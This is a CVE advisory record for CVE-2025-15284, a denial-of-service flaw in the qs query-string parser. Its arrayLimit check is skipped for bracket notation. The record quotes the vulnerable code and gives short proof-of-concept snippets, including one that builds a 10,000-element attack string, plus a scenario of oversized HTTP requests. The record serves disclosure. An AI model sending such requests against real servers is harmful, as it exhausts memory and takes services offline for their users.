Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.
SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.
DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoCTest 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Configuration:
* arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
* Use bracket notation: a[]=value (not indexed a[0]=value)
ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.
Attack scenario:
* Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
* Application parses with qs.parse(query, { arrayLimit: 100 })
* qs ignores limit, parses all 100,000 elements into array
* Server memory exhausted → application crashes or becomes unresponsive
* Service unavailable for all users
Real-world impact:
* Single malicious request can crash server
* No authentication required
* Easy to automate and scale
* Affects any endpoint parsing query strings with bracket notation
Metrics
Affected Vendors & Products
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References
History
Mon, 29 Dec 2025 23:00:00 +0000
| Type | Values Removed | Values Added |
|---|---|---|
| Description | Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoCTest 1 - Basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Test 2 - DoS demonstration: const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100) Configuration: * arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2) * Use bracket notation: a[]=value (not indexed a[0]=value) ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection. Attack scenario: * Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) * Application parses with qs.parse(query, { arrayLimit: 100 }) * qs ignores limit, parses all 100,000 elements into array * Server memory exhausted → application crashes or becomes unresponsive * Service unavailable for all users Real-world impact: * Single malicious request can crash server * No authentication required * Easy to automate and scale * Affects any endpoint parsing query strings with bracket notation | |
| Title | arrayLimit bypass in bracket notation allows DoS via memory exhaustion | |
| Weaknesses | CWE-20 | |
| References |
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| Metrics |
cvssV3_1
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MITRE
Status: PUBLISHED
Assigner: harborist
Published:
Updated: 2025-12-29T22:56:45.240Z
Reserved: 2025-12-29T21:36:51.399Z
Link: CVE-2025-15284
Vulnrichment
No data.
NVD
Status : Received
Published: 2025-12-29T23:15:42.703
Modified: 2025-12-29T23:15:42.703
Link: CVE-2025-15284
Redhat
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OpenCVE Enrichment
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